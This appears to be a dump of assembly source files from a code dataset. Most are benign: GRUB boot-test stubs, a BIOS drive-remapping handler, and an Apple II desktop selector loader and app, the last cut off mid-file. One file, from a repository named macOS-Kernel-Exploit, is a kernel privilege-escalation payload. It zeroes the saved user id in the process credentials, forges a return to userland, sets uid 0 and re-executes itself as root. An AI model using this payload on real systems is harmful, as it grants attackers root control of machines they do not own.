repo_id
stringlengths 5
115
| size
int64 590
5.01M
| file_path
stringlengths 4
212
| content
stringlengths 590
5.01M
|
|---|---|---|---|
a1ive/grub
| 2,177
|
grub-core/tests/boot/kbsd.init-x86_64.S
|
/*
* GRUB -- GRand Unified Bootloader
* Copyright (C) 2010 Free Software Foundation, Inc.
*
* GRUB is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* GRUB is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with GRUB. If not, see <http://www.gnu.org/licenses/>.
*/
#define MODE_RDRW 2
#define FLAGS_NONE 0
#define SYSCALL_OPEN 5
#define SYSCALL_WRITE 4
#ifdef TARGET_NETBSD
#define SYSCALL_RESET 208
#elif defined (TARGET_OPENBSD)
#define SYSCALL_RESET 55
#else
#error unknown target
#endif
#define SYSCALL_EXIT 1
#define SYSCALL_ARCH 165
#define SYSCALL_INT 0x80
#define SYSCALL_ARCH_IOPL 2
#define RESET_NOSYNC 0x4
#define RESET_HALT 0x8
#define RESET_POWEROFF 0x800
.section ".init", "ax"
.global start,_start
start:
_start:
/* open. */
movq $SYSCALL_OPEN, %rax
leaq device, %rdi
movq $MODE_RDRW, %rsi
movq $FLAGS_NONE, %rdx
syscall
movq %rax, %rdi
/* write. */
movq $SYSCALL_WRITE, %rax
movq $(messageend-message), %rdx
leaq message, %rsi
syscall
/* IOPL. */
movq $SYSCALL_ARCH, %rax
movq $SYSCALL_ARCH_IOPL, %rdi
leaq iopl_arg, %rsi
syscall
#include "qemu-shutdown-x86.S"
/* shutdown. */
movq $SYSCALL_RESET, %rax
movq $(RESET_POWEROFF|RESET_HALT|RESET_NOSYNC), %rdi
movq $0, %rsi
syscall
/* exit (1). Shouldn't be reached. */
movq $SYSCALL_EXIT, %rax
movq $1, %rdi
syscall
.section ".fini", "ax"
1: jmp 1b
.section ".text", "ax"
1: jmp 1b
/* This section is needed for NetBSD to identify the binary. */
.section ".note.netbsd.ident", "a"
.long 0x7
.long 0x4
.long 0x1
.ascii "NetBSD"
.byte 0
.data
device:
.ascii "/dev/console"
.byte 0
message:
.ascii "Boot Test Passed Successfully\n" SUCCESSFUL_BOOT_STRING "\n"
messageend:
iopl_arg:
.long 3
|
a1ive/grub
| 1,575
|
grub-core/tests/boot/linux.init-ppc.S
|
/*
* GRUB -- GRand Unified Bootloader
* Copyright (C) 2012 Free Software Foundation, Inc.
*
* GRUB is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* GRUB is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with GRUB. If not, see <http://www.gnu.org/licenses/>.
*/
#define SYSCALL_WRITE 4
#define SYSCALL_RESET 88
#define SYSCALL_EXIT 1
#define STDOUT 1
#define SHUTDOWN_MAGIC1 0xfee1dead
#define SHUTDOWN_MAGIC2 0x28121969
#define SHUTDOWN_MAGIC3 0x4321fedc
.text
.global start, _start, __start
__start:
_start:
start:
/* write. */
li %r0, SYSCALL_WRITE
li %r3, STDOUT
lis %r4, message@h
ori %r4, %r4, message@l
lis %r5, messageend@h
ori %r5, %r5, messageend@l
sub %r5, %r5, %r4
sc
/* shutdown. */
li %r0, SYSCALL_RESET
lis %r3, SHUTDOWN_MAGIC1@h
ori %r3, %r3, SHUTDOWN_MAGIC1@l
lis %r4, SHUTDOWN_MAGIC2@h
ori %r4, %r4, SHUTDOWN_MAGIC2@l
lis %r5, SHUTDOWN_MAGIC3@h
ori %r5, %r5, SHUTDOWN_MAGIC3@l
sc
/* exit(1). Shouldn't be reached. */
li %r0, SYSCALL_EXIT
li %r3, 1
sc
.data
message:
.ascii "Boot Test Passed Successfully\n" SUCCESSFUL_BOOT_STRING "\n"
messageend:
|
a1ive/grub
| 1,604
|
grub-core/tests/boot/linux.init-i386.S
|
/*
* GRUB -- GRand Unified Bootloader
* Copyright (C) 2010 Free Software Foundation, Inc.
*
* GRUB is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* GRUB is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with GRUB. If not, see <http://www.gnu.org/licenses/>.
*/
#define SYSCALL_WRITE 4
#define SYSCALL_RESET 88
#define SYSCALL_IOPL 110
#define SYSCALL_EXIT 1
#define SYSCALL_INT 0x80
#define STDOUT 1
#define SHUTDOWN_MAGIC1 0xfee1dead
#define SHUTDOWN_MAGIC2 0x28121969
#define SHUTDOWN_MAGIC3 0x4321fedc
.text
.global start, _start
_start:
start:
/* write. */
movl $SYSCALL_WRITE, %eax
movl $STDOUT, %ebx
leal message, %ecx
movl $(messageend-message), %edx
int $SYSCALL_INT
movl $SYSCALL_IOPL, %eax
movl $3, %ebx
int $SYSCALL_INT
#include "qemu-shutdown-x86.S"
/* shutdown. */
movl $SYSCALL_RESET, %eax
movl $SHUTDOWN_MAGIC1, %ebx
movl $SHUTDOWN_MAGIC2, %ecx
movl $SHUTDOWN_MAGIC3, %edx
int $SYSCALL_INT
/* exit (1). Shouldn't be reached. */
movl $SYSCALL_EXIT, %eax
movl $1, %ebx
int $SYSCALL_INT
.data
message:
.ascii "Boot Test Passed Successfully\n" SUCCESSFUL_BOOT_STRING "\n"
messageend:
|
a1ive/grub
| 2,312
|
grub-core/tests/boot/kfreebsd.init-i386.S
|
/*
* GRUB -- GRand Unified Bootloader
* Copyright (C) 2010 Free Software Foundation, Inc.
*
* GRUB is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* GRUB is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with GRUB. If not, see <http://www.gnu.org/licenses/>.
*/
#define MODE_RDRW 2
#define FLAGS_NONE 0
#define SYSCALL_OPEN 5
#define SYSCALL_WRITE 4
#define SYSCALL_RESET 55
#define SYSCALL_FSYNC 95
#define SYSCALL_ARCH 165
#define SYSCALL_EXIT 1
#define SYSCALL_ARCH_IOPERM 4
#define SYSCALL_INT 0x80
#define RESET_NOSYNC 0x4
#define RESET_HALT 0x8
#define RESET_POWEROFF 0x4000
.section ".init", "ax"
.global start,_start
start:
_start:
/* open. */
movl $SYSCALL_OPEN, %eax
pushl $FLAGS_NONE
pushl $MODE_RDRW
leal device, %ebx
pushl %ebx
pushl $0
int $SYSCALL_INT
addl $16, %esp
movl %eax, %ecx
/* write. */
movl $SYSCALL_WRITE, %eax
pushl $(messageend-message)
leal message, %ebx
pushl %ebx
pushl %ecx
pushl $0
int $SYSCALL_INT
addl $16, %esp
/* fsync. */
movl $SYSCALL_FSYNC, %eax
pushl %ecx
pushl $0
int $SYSCALL_INT
addl $8, %esp
/* IOPERM. */
movl $SYSCALL_ARCH, %eax
pushl $ioperm_arg1
pushl $SYSCALL_ARCH_IOPERM
pushl $0
int $SYSCALL_INT
addl $12, %esp
/* IOPERM. */
movl $SYSCALL_ARCH, %eax
pushl $ioperm_arg2
pushl $SYSCALL_ARCH_IOPERM
pushl $0
int $SYSCALL_INT
addl $12, %esp
#include "qemu-shutdown-x86.S"
/* shutdown. */
movl $SYSCALL_RESET, %eax
pushl $(RESET_POWEROFF|RESET_HALT|RESET_NOSYNC)
pushl $0
int $SYSCALL_INT
addl $8, %esp
/* exit (1). Shouldn't be reached. */
movl $SYSCALL_EXIT, %eax
pushl $1
pushl $0
int $SYSCALL_INT
device:
.ascii "/dev/console"
.byte 0
message:
.ascii "Boot Test Passed Successfully\n" SUCCESSFUL_BOOT_STRING "\n"
messageend:
ioperm_arg1:
.long 0xcf8
.long 8
.long 1
ioperm_arg2:
.long 0x7000
.long 8
.long 1
|
a1ive/grub
| 1,544
|
grub-core/tests/boot/linux.init-x86_64.S
|
/*
* GRUB -- GRand Unified Bootloader
* Copyright (C) 2010 Free Software Foundation, Inc.
*
* GRUB is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* GRUB is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with GRUB. If not, see <http://www.gnu.org/licenses/>.
*/
#define SYSCALL_WRITE 1
#define SYSCALL_RESET 169
#define SYSCALL_IOPL 172
#define SYSCALL_EXIT 60
#define STDOUT 1
#define SHUTDOWN_MAGIC1 0xfee1dead
#define SHUTDOWN_MAGIC2 0x28121969
#define SHUTDOWN_MAGIC3 0x4321fedc
.text
.global start, _start
_start:
start:
/* write. */
movq $SYSCALL_WRITE, %rax
movq $STDOUT, %rdi
leaq message, %rsi
movq $(messageend-message), %rdx
syscall
movq $SYSCALL_IOPL, %rax
movq $3, %rdi
syscall
#include "qemu-shutdown-x86.S"
/* shutdown. */
movq $SYSCALL_RESET, %rax
movq $SHUTDOWN_MAGIC1, %rdi
movq $SHUTDOWN_MAGIC2, %rsi
movq $SHUTDOWN_MAGIC3, %rdx
syscall
/* exit(1). Shouldn't be reached. */
movq $SYSCALL_EXIT, %rax
movq $1, %rdi
syscall
.data
message:
.ascii "Boot Test Passed Successfully\n" SUCCESSFUL_BOOT_STRING "\n"
messageend:
|
a1ive/grub
| 1,225
|
grub-core/tests/boot/kernel-i386.S
|
#define ASM_FILE 1
#ifdef TARGET_MULTIBOOT2
#include <multiboot2.h>
#elif defined (TARGET_MULTIBOOT)
#include <multiboot.h>
#endif
.text
/* Align 32 bits boundary. */
.align 8
#ifdef TARGET_MULTIBOOT2
/* Multiboot header. */
multiboot_header:
/* magic */
.long MULTIBOOT2_HEADER_MAGIC
/* ISA: i386 */
.long MULTIBOOT_ARCHITECTURE_I386
/* Header length. */
.long multiboot_header_end - multiboot_header
/* checksum */
.long -(MULTIBOOT2_HEADER_MAGIC + MULTIBOOT_ARCHITECTURE_I386 + (multiboot_header_end - multiboot_header))
.short MULTIBOOT_HEADER_TAG_END
.short 0
.long 8
multiboot_header_end:
#elif defined (TARGET_MULTIBOOT)
/* Multiboot header. */
multiboot_header:
/* magic */
.long MULTIBOOT_HEADER_MAGIC
/* flags */
.long 0
/* checksum */
.long -MULTIBOOT_HEADER_MAGIC
#endif
.global start
serialmsg:
1:
movb 0(%esi), %bl
testb %bl, %bl
jz 1f
movw $0x3fd, %dx
2:
inb %dx, %al
testb $0x20, %al
jz 2b
movw $0x3f8, %dx
movb %bl, %al
outb %al, %dx
incl %esi
jmp 1b
1:
ret
.globl _start
_start:
lea message, %esi
call serialmsg
#include "qemu-shutdown-x86.S"
1:
hlt
jmp 1b
message:
.ascii "Boot Test Passed Successfully\n" SUCCESSFUL_BOOT_STRING "\n"
.byte 0
|
a1ive/grub
| 1,558
|
grub-core/tests/boot/linux.init-mips.S
|
/*
* GRUB -- GRand Unified Bootloader
* Copyright (C) 2010 Free Software Foundation, Inc.
*
* GRUB is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* GRUB is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with GRUB. If not, see <http://www.gnu.org/licenses/>.
*/
#define SYSCALL_WRITE 4004
#define SYSCALL_RESET 4088
#define SYSCALL_EXIT 4001
#define STDOUT 1
#define SHUTDOWN_MAGIC1 0xfee1dead
#define SHUTDOWN_MAGIC2 0x28121969
#ifdef REBOOT
#define SHUTDOWN_MAGIC3 0x01234567
#else
#define SHUTDOWN_MAGIC3 0x4321fedc
#endif
.text
.global start, _start, __start
__start:
_start:
start:
/* write. */
li $v0, SYSCALL_WRITE
li $a0, STDOUT
lui $a1, %hi(message)
addiu $a1, %lo(message)
lui $a2, %hi(messageend)
addiu $a2, %lo(messageend)
subu $a2, $a2, $a1
syscall
/* shutdown. */
li $v0, SYSCALL_RESET
li $a0, SHUTDOWN_MAGIC1
li $a1, SHUTDOWN_MAGIC2
li $a2, SHUTDOWN_MAGIC3
syscall
/* exit(1). Shouldn't be reached. */
li $v0, SYSCALL_EXIT
li $a0, 1
syscall
.data
message:
.ascii "Boot Test Passed Successfully\n" SUCCESSFUL_BOOT_STRING "\n"
messageend:
|
a1ive/grub
| 2,977
|
grub-core/map/pc/drivemap_int13h.S
|
/* drivemap_int13h.S - interrupt handler for the BIOS drive remapper */
/*
* GRUB -- GRand Unified Bootloader
* Copyright (C) 2008, 2009 Free Software Foundation, Inc.
*
* GRUB is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* GRUB is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with GRUB. If not, see <http://www.gnu.org/licenses/>.
*/
#include <grub/symbol.h>
#define INT13H_OFFSET(x) ((x) - LOCAL (base))
.code16
/* Copy starts here. When deployed, this code must be segment-aligned. */
/* The replacement int13 handler. Preserve all registers. */
FUNCTION(grub_drivemap_handler)
LOCAL (base):
/* Save %dx for future restore. */
push %dx
/* Push flags. Used to simulate interrupt with original flags. */
pushf
/* Map the drive number (always in DL). */
push %ax
push %bx
#ifdef __APPLE__
LOCAL(mapstart_offset) = INT13H_OFFSET(LOCAL (mapstart))
movw $LOCAL(mapstart_offset), %bx
#else
movw $INT13H_OFFSET(LOCAL (mapstart)), %bx
#endif
more_remaining:
movw %cs:(%bx), %ax
cmpb %ah, %al
jz not_found /* DRV=DST => map end - drive not remapped, keep DL. */
inc %bx
inc %bx
cmpb %dl, %al
jnz more_remaining /* Not found, but more remaining, loop. */
movb %ah, %dl /* Found - drive remapped, modify DL. */
not_found:
pop %bx
pop %ax
/* If the call isn't ah=0x8 or ah=0x15 we must restore %dx. */
cmpb $0x8, %ah
jz norestore
cmpb $0x15, %ah
jz norestore
/* Restore flags. */
popf
pushf
#ifdef __APPLE__
LOCAL(oldhandler_offset) = INT13H_OFFSET (LOCAL (oldhandler))
lcall *%cs:LOCAL(oldhandler_offset)
#else
lcall *%cs:INT13H_OFFSET (LOCAL (oldhandler))
#endif
push %bp
mov %sp, %bp
tail:
/* Save new flags below %esp so the caller will recieve new flags. */
pushf
pop %dx
mov %dx, 8(%bp)
pop %bp
/* Restore %dx. */
pop %dx
iret
norestore:
/* Restore flags. */
popf
pushf
#ifdef __APPLE__
lcall *%cs:LOCAL(oldhandler_offset)
#else
lcall *%cs:INT13H_OFFSET (LOCAL (oldhandler))
#endif
push %bp
mov %sp, %bp
/* Save %dx. So it won't be restored to original value. */
mov %dx, 2(%bp)
jmp tail
/* Far pointer to the old handler. Stored as a CS:IP in the style of real-mode
IVT entries (thus PI:SC in mem). */
VARIABLE(grub_drivemap_oldhandler)
LOCAL (oldhandler):
.word 0x0, 0x0
/* This label MUST be at the end of the copied block, since the installer code
reserves additional space for mappings at runtime and copies them over it. */
.align 2
VARIABLE(grub_drivemap_mapstart)
LOCAL (mapstart):
.byte 0
|
A2nkF/macOS-Kernel-Exploit
| 3,876
|
kernel.s
|
; This is the privilege escalation code and it will be run
; after we've disabled SMEP. I'm doing this in assembly because
; the kernel is going to execute this code as 64bit so the privilege
; escalation part has to be 64bit. However our exploit program is 32bit
; and the simplest way to have 64 and 32 bit code in one binary is probably
; writing the 64bit part in assembly and linking it to the 32 bit code.
bits 64
section __TEXT,__text
; Helper to fix relative accesses bc of PIE
getRIP:
mov rax, [rsp]
ret
; This is the function we're trying to implement
; void escalatePrivs() {
; uint32_t *posix_cred = posix_cred_get(proc_ucred(current_proc()));
; posix_cred[2] = 0x00; // uid_t cr_svuid; /* saved user id */
; return;
; }
global _escalatePrivs
_escalatePrivs:
swapgs
call getRIP
add rax, _current_proc - $
mov rax, [rax]
call rax; current_proc()
mov rdi, rax
call getRIP
add rax, _proc_ucred - $
mov rax, [rax]
call rax; proc_ucred(current_proc())
mov rdi, rax
call getRIP
add rax, _posix_cred_get - $
mov rax, [rax]
call rax; posix_cred_get(proc_ucred(current_proc())) \o/
; rax contains a pointer to our posix cred stucture at this point
;
; struct posix_cred {
; /*
; * The credential hash depends on everything from this point on
; * (see kauth_cred_get_hashkey)
; */
; uid_t cr_uid; /* effective user id */
; uid_t cr_ruid; /* real user id */
; uid_t cr_svuid; /* saved user id */
; short cr_ngroups; /* number of groups in advisory list */
; gid_t cr_groups[NGROUPS]; /* advisory group list */
; gid_t cr_rgid; /* real group id */
; gid_t cr_svgid; /* saved group id */
; uid_t cr_gmuid; /* UID for group membership purposes */
; int cr_flags; /* flags on credential */
; }
;
; we want to overwrite the cr_svuid field insead of cr_uid and cr_ruid
; to prevent crashing later on. Overwriting the cr_svuid will enable us
; to call seteuid(0)&setuid(0) in order for us to get root
mov dword [rax+0x4+0x4], 0x00; cr_svuid = 0x00;
; we're root !!! But we still need to return back to userland
; to be able to make use of our new privileges
; The easiest way to return back to userland is probably
; just calling _return_to_user, but since we have a
; kind of fucked up thread structure, we'll need to fix that first.
mov r15, qword [gs:0x08]; Get Thread structure
mov r15, qword [r15+0x428]; thread saved_state
; Calculate address of resume_task
call getRIP
add rax, resume_task - $
; populate our saved_state with sane values
mov dword [r15+0x48], eax ; New eip
mov dword [r15+0x50], 0x00200282 ; New eflags
mov dword [r15+0x4c], 0x1b ; New cs
mov dword [r15+0x54], 0x500 ; New esp
mov dword [r15+0x58], 0x23 ; New ss
mov dword [r15+0x1c], 0x23 ; New ds
mov dword [r15+0x18], 0x23 ; New es
mov dword [r15+0x14], 0x00 ; New fs
mov dword [r15+0x10], 0x00 ; New gs
call getRIP
add rax, _return_to_user - $
mov rax, [rax]
jmp rax
hlt
bits 32
resume_task:
; seteuid(0) + setuid(0)
mov eax, 183
xor ebx, ebx
int 0x80
mov eax, 23
xor ebx, ebx
int 0x80
; Exec our own process again, but this time as root ;)
xor eax, eax
push eax
push 0x00000074
push 0x696f6c70
push 0x78652f2e
mov ebx, esp
push eax
push eax
push ebx
mov al, 0x3b
push byte 0x2a
int 0x80
section __DATA,__data
global _current_proc
_current_proc:
dq 0xfeedface; placeholder
global _posix_cred_get
_posix_cred_get:
dq 0xfeedface; placeholder
global _proc_ucred
_proc_ucred:
dq 0xfeedface; placeholder
global _return_to_user
_return_to_user:
dq 0xfeedface; placeholder
|
a2stuff/a2d
| 3,965
|
src/selector/loader.s
|
;;; ============================================================
;;; Loader
;;;
;;; Compiled as part of selector.s
;;; ============================================================
BEGINSEG SegmentLoader
;;; Loads the Invoker (page 2/3), Selector App (at $4000...$A1FF),
;;; and Resources (Aux LC), then invokes the app.
.proc InstallSegments
jmp start
alert_load_addr := $3400
alert_final_addr := kSegmentAlertAddress
;; ProDOS parameter blocks
io_buf := $3000
DEFINE_OPEN_PARAMS open_params, str_selector, io_buf
DEFINE_READWRITE_PARAMS read_segment_invoker_params, kSegmentInvokerAddress, kSegmentInvokerLength
DEFINE_READWRITE_PARAMS read_segment_app_params, kSegmentAppAddress, kSegmentAppLength
DEFINE_READWRITE_PARAMS read_segment_alert_params, alert_load_addr, kSegmentAlertLength
DEFINE_SET_MARK_PARAMS set_mark_segment_invoker_params, kSegmentInvokerOffset
DEFINE_SET_MARK_PARAMS set_mark_segment_app_params, kSegmentAppOffset
DEFINE_SET_MARK_PARAMS set_mark_segment_alert_params, kSegmentAlertOffset
DEFINE_CLOSE_PARAMS close_params
str_selector:
PASCAL_STRING kPathnameSelector
;;; ============================================================
start:
;; Old ProDOS leaves interrupts inhibited on start.
;; Do this for good measure.
cli
jsr DetectMousetext
jsr InitProgress
;; Open up Selector itself
MLI_CALL OPEN, open_params
IF_CS
brk
END_IF
lda open_params::ref_num
sta set_mark_segment_invoker_params::ref_num
sta set_mark_segment_app_params::ref_num
sta set_mark_segment_alert_params::ref_num
sta read_segment_invoker_params::ref_num
sta read_segment_app_params::ref_num
sta read_segment_alert_params::ref_num
kNumSegments = 3
;; Read various segments into final or temp locations
jsr UpdateProgress
MLI_CALL SET_MARK, set_mark_segment_invoker_params
jcs crash
MLI_CALL READ, read_segment_invoker_params
jcs crash
jsr UpdateProgress
MLI_CALL SET_MARK, set_mark_segment_app_params
jcs crash
MLI_CALL READ, read_segment_app_params
jcs crash
jsr UpdateProgress
MLI_CALL SET_MARK, set_mark_segment_alert_params
jcs crash
MLI_CALL READ, read_segment_alert_params
jcs crash
jsr UpdateProgress
;; Copy Alert segment to Aux LC1
sta ALTZPON
bit LCBANK1
bit LCBANK1
;; Set stack pointers to arbitrarily low values for use when
;; interrupts occur. DeskTop does not utilize this convention,
;; so the values are set low so that interrupts which do (for
;; example, the IIgs Control Panel) don't trash DeskTop's use
;; of the stacks.
;; See the Apple IIe Technical Reference Manual, pp. 153-154
lda #$80
sta $0100 ; Main stack pointer, in Aux ZP
sta $0101 ; Aux stack pointer, in Aux ZP
ldx #0
DO
.repeat (::kSegmentAlertLength / $100), i
lda alert_load_addr + ($100 * i),x
sta alert_final_addr + ($100 * i),x
.endrepeat
inx
WHILE_NOT_ZERO
sta ALTZPOFF
bit ROMIN2
MLI_CALL CLOSE, close_params
;; --------------------------------------------------
;; Invoke the Selector application
jmp ::app::entry
crash: brk
;;; ============================================================
kProgressStops = kNumSegments + 1
.include "../lib/loader_progress.s"
;;; ============================================================
.endproc ; InstallSegments
ENDSEG SegmentLoader
|
a2stuff/a2d
| 53,794
|
src/selector/app.s
|
;;; ============================================================
;;; Selector Application
;;;
;;; Compiled as part of selector.s
;;; ============================================================
BEGINSEG SegmentApp
;;; ============================================================
;;; MGTK library
ASSERT_ADDRESS ::MGTKEntry
.include "../mgtk/mgtk.s"
;;; ============================================================
;;; Font
FONT := *
.incbin .concat("../../out/System.", kBuildLang, ".font")
;;; ============================================================
.scope app
;;; ============================================================
;;; TODO: Move these somewhere more sensible
penXOR: .byte MGTK::penXOR
notpencopy: .byte MGTK::notpencopy
.include "../lib/event_params.s"
;;; See docs/Selector_List_Format.md for file format
selector_list := $B300
kShortcutRunDeskTop = res_char_button_desktop_shortcut
kShortcutRunProgram = res_char_menu_item_run_a_program_shortcut
;;; ============================================================
;;; Resources
;;; for MenuSelect, HiliteMenu, MenuKey
.params menu_params
menu_id:
.byte $00
menu_item:
.byte $00
;;; for MenuKey only
which_key:
.byte $00
key_mods:
.byte $00
.endparams
;; Menu bar
DEFINE_MENU_BAR menu, 3
DEFINE_MENU_BAR_ITEM 1, str_apple, apple_menu
DEFINE_MENU_BAR_ITEM 2, str_file, file_menu
DEFINE_MENU_BAR_ITEM 3, str_startup, startup_menu
;; Apple menu
DEFINE_MENU apple_menu, 5
DEFINE_MENU_ITEM str_a2desktop
DEFINE_MENU_SEPARATOR
DEFINE_MENU_ITEM str_copyright1
DEFINE_MENU_ITEM str_copyright2
DEFINE_MENU_ITEM str_copyright3
;; File menu
DEFINE_MENU file_menu, 1
DEFINE_MENU_ITEM str_run_a_program, res_char_menu_item_run_a_program_shortcut
;; Startup menu
DEFINE_MENU startup_menu, 1
kMenuItemShortcutOffset = 2
mi_x1: DEFINE_MENU_ITEM str_slot_x1, '0'
mi_x2: DEFINE_MENU_ITEM str_slot_x2, '0'
mi_x3: DEFINE_MENU_ITEM str_slot_x3, '0'
mi_x4: DEFINE_MENU_ITEM str_slot_x4, '0'
mi_x5: DEFINE_MENU_ITEM str_slot_x5, '0'
mi_x6: DEFINE_MENU_ITEM str_slot_x6, '0'
mi_x7: DEFINE_MENU_ITEM str_slot_x7, '0'
str_apple:
PASCAL_STRING kGlyphSolidApple
str_file:
PASCAL_STRING res_string_menu_bar_item_file
str_startup:
PASCAL_STRING res_string_menu_bar_item_startup
str_a2desktop:
PASCAL_STRING .sprintf(res_string_version_format_long, kDeskTopProductName, ::kDeskTopVersionMajor, ::kDeskTopVersionMinor, kDeskTopVersionSuffix)
str_copyright1:
PASCAL_STRING res_string_copyright_line1 ; menu item
str_copyright2:
PASCAL_STRING res_string_copyright_line2 ; menu item
str_copyright3:
PASCAL_STRING res_string_copyright_line3 ; menu item
str_run_a_program:
PASCAL_STRING res_string_menu_item_run_a_program
str_slot_x1:
PASCAL_STRING res_string_menu_item_slot_pattern
str_slot_x2:
PASCAL_STRING res_string_menu_item_slot_pattern
str_slot_x3:
PASCAL_STRING res_string_menu_item_slot_pattern
str_slot_x4:
PASCAL_STRING res_string_menu_item_slot_pattern
str_slot_x5:
PASCAL_STRING res_string_menu_item_slot_pattern
str_slot_x6:
PASCAL_STRING res_string_menu_item_slot_pattern
str_slot_x7:
PASCAL_STRING res_string_menu_item_slot_pattern
kStrSlotXOffset = res_const_menu_item_slot_pattern_offset1
;;; Slot numbers
slot_table: .byte 0 ; number of entries
slot_x1: .byte 0
slot_x2: .byte 0
slot_x3: .byte 0
slot_x4: .byte 0
slot_x5: .byte 0
slot_x6: .byte 0
slot_x7: .byte 0
;;; ============================================================
;;; More Resources
grafport2:
.tag MGTK::GrafPort
solid_pattern:
.res 8, $FF
.params getwinport_params
window_id: .byte 0
a_grafport: .addr grafport_win
.endparams
grafport_win: .tag MGTK::GrafPort
setzp_params: .byte MGTK::zp_overwrite ; performance over convenience
.params startdesktop_params
machine: .byte $06
subid: .byte $EA
op_sys: .byte 0
slot_num: .byte 0
use_interrupts: .byte 0
sysfontptr: .addr FONT
savearea: .addr $800
savesize: .word $800
.endparams
desktop_started_flag:
.byte 0
.params scalemouse_params
x_exponent: .byte 1 ; MGTK default is x 2:1 and y 1:1
y_exponent: .byte 0 ; ... doubled on IIc / IIc+
.endparams
.params winfo
kDialogId = 1
kWidth = 460
kHeight = 124
window_id: .byte kDialogId
options: .byte MGTK::Option::dialog_box
title: .addr 0
hscroll: .byte 0
vscroll: .byte 0
hthumbmax: .byte 0
hthumbpos: .byte 0
vthumbmax: .byte 0
vthumbpos: .byte 0
status: .byte 0
reserved: .byte 0
mincontwidth: .word 150
mincontheight: .word 50
maxcontwidth: .word 500
maxcontheight: .word 140
port:
DEFINE_POINT viewloc, (::kScreenWidth - kWidth)/2, (::kScreenHeight - kHeight)/2
mapbits: .word MGTK::screen_mapbits
mapwidth: .byte MGTK::screen_mapwidth
reserved2: .byte $00
DEFINE_RECT maprect, 0, 0, kWidth, kHeight
pattern: .res 8, $FF
colormasks: .byte MGTK::colormask_and, MGTK::colormask_or
DEFINE_POINT penloc, 0, 0
penwidth: .byte 1
penheight: .byte 1
penmode: .byte MGTK::pencopy
textback: .byte MGTK::textbg_white
textfont: .word FONT
nextwinfo: .addr 0
REF_WINFO_MEMBERS
.endparams
DEFINE_RECT_FRAME rect_frame, winfo::kWidth, winfo::kHeight
DEFINE_BUTTON ok_button, winfo::kDialogId, res_string_button_ok, kGlyphReturn, winfo::kWidth - kButtonWidth - 60, winfo::kHeight - 18
DEFINE_BUTTON desktop_button, winfo::kDialogId, res_string_button_desktop, res_char_button_desktop_shortcut, 60, winfo::kHeight - 18
pensize_normal: .byte 1, 1
pensize_frame: .byte kBorderDX, kBorderDY
DEFINE_POINT pos_title_string, 0, 16
str_selector_title:
PASCAL_STRING res_string_selector_name
;; Options control metrics
kEntryPickerCols = 3
kEntryPickerRows = 8
kEntryPickerLeft = (winfo::kWidth - kEntryPickerItemWidth * kEntryPickerCols + 1) / 2
kEntryPickerTop = 21
kEntryPickerItemWidth = 127
kEntryPickerItemHeight = kListItemHeight
kEntryPickerTextHOffset = 4
kEntryPickerTextVOffset = kEntryPickerItemHeight-1
;; Line endpoints
DEFINE_POINT line1_pt1, kBorderDX*2, 19
DEFINE_POINT line1_pt2, winfo::kWidth - kBorderDX*2, 19
DEFINE_POINT line2_pt1, kBorderDX*2, winfo::kHeight - 22
DEFINE_POINT line2_pt2, winfo::kWidth - kBorderDX*2, winfo::kHeight - 22
io_buf_sl = $BB00
DEFINE_OPEN_PARAMS open_selector_list_params, str_selector_list, io_buf_sl
DEFINE_READWRITE_PARAMS read_selector_list_params, selector_list, kSelectorListBufSize
io_buf_desktop = $1C00
desktop_load_addr = $2000
kDeskTopLoadSize = $400
DEFINE_OPEN_PARAMS open_desktop_params, str_desktop, io_buf_desktop
DEFINE_READWRITE_PARAMS read_desktop_params, desktop_load_addr, kDeskTopLoadSize
str_selector_list:
PASCAL_STRING kPathnameSelectorList
str_desktop:
PASCAL_STRING kPathnameDeskTop
DEFINE_CLOSE_PARAMS close_desktop_params
DEFINE_OPEN_PARAMS open_selector_params, str_selector, $800
str_selector:
PASCAL_STRING kPathnameSelector
DEFINE_SET_MARK_PARAMS set_mark_overlay1_params, kOverlayFileDialogOffset
DEFINE_SET_MARK_PARAMS set_mark_overlay2_params, kOverlayCopyDialogOffset
DEFINE_READWRITE_PARAMS read_overlay1_params, OVERLAY_ADDR, kOverlayFileDialogLength
